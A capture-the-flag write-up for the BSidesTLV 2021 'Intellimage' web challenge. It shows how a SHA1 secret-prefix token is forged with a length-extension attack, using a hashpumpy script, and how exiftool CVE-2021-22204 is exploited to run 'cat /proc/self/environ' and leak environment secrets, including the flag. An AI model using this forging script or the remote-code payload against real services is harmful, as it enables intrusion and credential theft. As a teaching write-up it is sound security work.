Intellimage
- Category: Web
- 400 points
- Solved by JCTF Team
Description
Solution
Donwloading the provided zip file we first encouter the file index.py
.
From the file it is clear that this is a Flask application.
High level analysis of this application shows that it is a service that extract meta-data from images using exiftool - though it requires a valid "token" as authentication method.
We will go through the interesting part in that file:
from exiftool import ExifTool
The application is using exiftool.
secret = os.getenv("SECRET") or "BSidesTLV2021{This_Is_Not_The_Flag}"
if len(secret) < 35:
raise Exception("Secret size should be 35 or above")
The flag is given to the application through an environment variable and it is at least 35 bytes long.
The only really interesting function is:
@app.route("/view", methods=["POST"]) # (1)
def view():
token = request.form.get("token") # (2)
if not token:
return jsonify({"error": "empty token"})
images = request.files.getlist("image[]") # (2)
if not images:
return jsonify({"error": "empty image"})
image_streams = []
mac = hashlib.sha1(secret.encode()) # (3a)
for image in images:
if not image.mimetype.startswith("image/"):
return jsonify({"error": "bad image"})
image_stream = image.stream.read()
mac.update(image_stream) # (3b)
image_streams.append(image_stream)
if token != mac.hexdigest(): # (3c)
return jsonify({"error": "bad token"})
metadata = []
try:
with ExifTool() as et:
for i, image_stream in enumerate(image_streams):
with tempfile.NamedTemporaryFile(delete=False) as tmp:
tmp.write(image_stream)
tmp.flush()
tmp.close()
parsed_metadata = {
"SourceFile": images[i].filename,
**parse_metadata(et.get_metadata(tmp.name), filter_keys=["File", "SourceFile"]) # (4)
}
metadata.append(parsed_metadata)
try:
os.unlink(tmp.name)
except Exception as ex:
pass
except Exception as ex:
return jsonify({"error": str(ex)})
return jsonify(metadata[0] if len(metadata) < 2 else metadata) # (5)
This function will be called to handle HTTP POST request to path /view
on this site (1). The inputs it expects are token
and image[]
's (2), note that it needs to be encoded as a multipart/form-data
since the app expects files here.
Then the function stars a sha1 calculation beginning with the secret (3a) updates it with the content of every image (3b) and finally compares it to the recived token
(3c).
To pass this check we need a valid input including the token
and image[]
's so we can mount a lengh extension attack in order to be able to send our own data, fortunately or by design if you will in the zip file under the directory tests
we find an image VEVAK.png
and script test_prod.py
:
import unittest
import requests
class TestIntellimage(unittest.TestCase):
def test_view(self):
with open("VEVAK.png", "rb") as f:
res = requests.post(
url="http://localhost.realgame.co.il:5000/view",
files={
"image[]": (
"VEVAK.png",
f.read(),
"image/jpeg"
),
},
data={
"token": "4e4bad2093c856bfdabaf852d77c64bd06ec17a3"
}
)
self.assertNotIn("error", res.json())
So we now know that the token 4e4bad2093c856bfdabaf852d77c64bd06ec17a3
should be valid for the image VEVAK.png
, we test that hypothesis on the online-site successfully with the following result:
{
"Composite": {
"ImageSize": "263 379",
"Megapixels": 0.099677
},
"ExifTool": {
"ExifToolVersion": 12.23
},
"ICC_Profile": {
"BlueMatrixColumn": "0.14307 0.06061 0.7141",
"BlueTRC": "(Binary data 2060 bytes, use -b option to extract)",
"CMMFlags": 0,
"ColorSpaceData": "RGB ",
"ConnectionSpaceIlluminant": "0.9642 1 0.82491",
"DeviceAttributes": "0 0",
"DeviceManufacturer": "IEC ",
"DeviceMfgDesc": "IEC http://www.iec.ch",
"DeviceModel": "sRGB",
"DeviceModelDesc": "IEC 61966-2.1 Default RGB colour space - sRGB",
"GreenMatrixColumn": "0.38515 0.71687 0.09708",
"GreenTRC": "(Binary data 2060 bytes, use -b option to extract)",
"Luminance": "76.03647 80 87.12462",
"MeasurementBacking": "0 0 0",
"MeasurementFlare": 0.00999,
"MeasurementGeometry": 0,
"MeasurementIlluminant": 2,
"MeasurementObserver": 1,
"MediaBlackPoint": "0 0 0",
"MediaWhitePoint": "0.95045 1 1.08905",
"PrimaryPlatform": "MSFT",
"ProfileCMMType": "Lino",
"ProfileClass": "mntr",
"ProfileConnectionSpace": "XYZ ",
"ProfileCopyright": "Copyright (c) 1998 Hewlett-Packard Company",
"ProfileCreator": "HP ",
"ProfileDateTime": "1998:02:09 06:49:00",
"ProfileDescription": "sRGB IEC61966-2.1",
"ProfileFileSignature": "acsp",
"ProfileID": "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0",
"ProfileVersion": 528,
"RedMatrixColumn": "0.43607 0.22249 0.01392",
"RedTRC": "(Binary data 2060 bytes, use -b option to extract)",
"RenderingIntent": 1,
"Technology": "CRT ",
"ViewingCondDesc": "Reference Viewing Condition in IEC61966-2.1",
"ViewingCondIlluminant": "19.6445 20.3718 16.8089",
"ViewingCondIlluminantType": 1,
"ViewingCondSurround": "3.92889 4.07439 3.36179"
},
"PNG": {
"BitDepth": 8,
"ColorType": 6,
"Compression": 0,
"Filter": 0,
"ImageHeight": 379,
"ImageWidth": 263,
"Interlace": 0,
"PixelUnits": 1,
"PixelsPerUnitX": 2835,
"PixelsPerUnitY": 2835,
"ProfileName": "ICC Profile"
},
"SourceFile": "VEVAK.png"
}
Noting that the exiftool version reported by the service is 12.23
, but the current version is 12.29
!
We search the web for exiftool exploit
and find that there is CVE-2021-22204
impacting exiftool.
To find out how to exploit we read a nice write-up about creating an exploit from the bugfix diff.
Recreating the exploit we adapt the chain provided in the write-up with changing the payload into cat /proc/self/environ
in order to read the environment that include the flag into a copyright
tag. We call the weaponised image exploit.jpg
.
Using hashpumpy which is a python bindings for hashpump we create the following script:
from hashpumpy import hashpump
from io import BytesIO
import requests
digest = '4e4bad2093c856bfdabaf852d77c64bd06ec17a3'
with open('VEVAK.png', 'rb') as f:
orig_data = f.read()
with open('exploit.jpg', 'rb') as f:
data_to_add = f.read()
dta_len = len(data_to_add)
URL = "https://intellimage.ctf.bsidestlv.com/view"
s = requests.Session()
for l in range(35, 80):
H, m = hashpump(digest, orig_data, data_to_add, l)
first = m[:-dta_len]
res = s.post(
url=URL,
files=[
("image[]", ("first.png", BytesIO(first), "image/png")),
("image[]", ('second.jpg', BytesIO(data_to_add), "image/jpeg")),
],
data={
"token": H,
}
)
content = res.json()
print(content)
if 'error' not in content:
break
Running the script we get the following result:
[{'Composite': {'ImageSize': '263 379', 'Megapixels': 0.099677},
'ExifTool': {'ExifToolVersion': 12.23,
'Warning': '[minor] Trailer data after PNG IEND chunk'},
'ICC_Profile': {'BlueMatrixColumn': '0.14307 0.06061 0.7141',
'BlueTRC': '(Binary data 2060 bytes, use -b option to extract)',
'CMMFlags': 0,
'ColorSpaceData': 'RGB ',
'ConnectionSpaceIlluminant': '0.9642 1 0.82491',
'DeviceAttributes': '0 0',
'DeviceManufacturer': 'IEC ',
'DeviceMfgDesc': 'IEC http://www.iec.ch',
'DeviceModel': 'sRGB',
'DeviceModelDesc': 'IEC 61966-2.1 Default RGB colour space - sRGB',
'GreenMatrixColumn': '0.38515 0.71687 0.09708',
'GreenTRC': '(Binary data 2060 bytes, use -b option to extract)',
'Luminance': '76.03647 80 87.12462',
'MeasurementBacking': '0 0 0',
'MeasurementFlare': 0.00999,
'MeasurementGeometry': 0,
'MeasurementIlluminant': 2,
'MeasurementObserver': 1,
'MediaBlackPoint': '0 0 0',
'MediaWhitePoint': '0.95045 1 1.08905',
'PrimaryPlatform': 'MSFT',
'ProfileCMMType': 'Lino',
'ProfileClass': 'mntr',
'ProfileConnectionSpace': 'XYZ ',
'ProfileCopyright': 'Copyright (c) 1998 Hewlett-Packard Company',
'ProfileCreator': 'HP ',
'ProfileDateTime': '1998:02:09 06:49:00',
'ProfileDescription': 'sRGB IEC61966-2.1',
'ProfileFileSignature': 'acsp',
'ProfileID': '0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0',
'ProfileVersion': 528,
'RedMatrixColumn': '0.43607 0.22249 0.01392',
'RedTRC': '(Binary data 2060 bytes, use -b option to extract)',
'RenderingIntent': 1,
'Technology': 'CRT ',
'ViewingCondDesc': 'Reference Viewing Condition in IEC61966-2.1',
'ViewingCondIlluminant': '19.6445 20.3718 16.8089',
'ViewingCondIlluminantType': 1,
'ViewingCondSurround': '3.92889 4.07439 3.36179'},
'PNG': {'BitDepth': 8,
'ColorType': 6,
'Compression': 0,
'Filter': 0,
'ImageHeight': 379,
'ImageWidth': 263,
'Interlace': 0,
'PixelUnits': 1,
'PixelsPerUnitX': 2835,
'PixelsPerUnitY': 2835,
'ProfileName': 'ICC Profile'},
'SourceFile': 'first.png'},
{'Composite': {'ImageSize': '200 200', 'Megapixels': 0.04},
'DjVu': {'Copyright': '\nPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/app/Image-ExifTool-12.23HOSTNAME=3649af5a4cf1SECRET=BSidesTLV2021{Yum_MAC_nd_Ch33s3_PI}LANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.9.5PYTHON_PIP_VERSION=21.1.3PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/a1675ab6c2bd898ed82b1f58c486097f763c74a9/public/get-pip.pyPYTHON_GET_PIP_SHA256=6665659241292b2147b58922b9ffe11dda66b39d52d8a6f3aa310bc1d60ea6f7HOME=/home/userSERVER_SOFTWARE=gunicorn/20.1.0',
'DjVuVersion': 0.24,
'Gamma': 2.2,
'ImageHeight': 1,
'ImageWidth': 1,
'Orientation': 1,
'SpatialResolution': 300},
'EXIF': {'ResolutionUnit': 2,
'XResolution': 96,
'YCbCrPositioning': 1,
'YResolution': 96},
'ExifTool': {'ExifToolVersion': 12.23},
'JFIF': {'JFIFVersion': '1 1',
'ResolutionUnit': 1,
'XResolution': 96,
'YResolution': 96},
'SourceFile': 'second.jpg'}]
The flag is BSidesTLV2021{Yum_MAC_nd_Ch33s3_PI}
.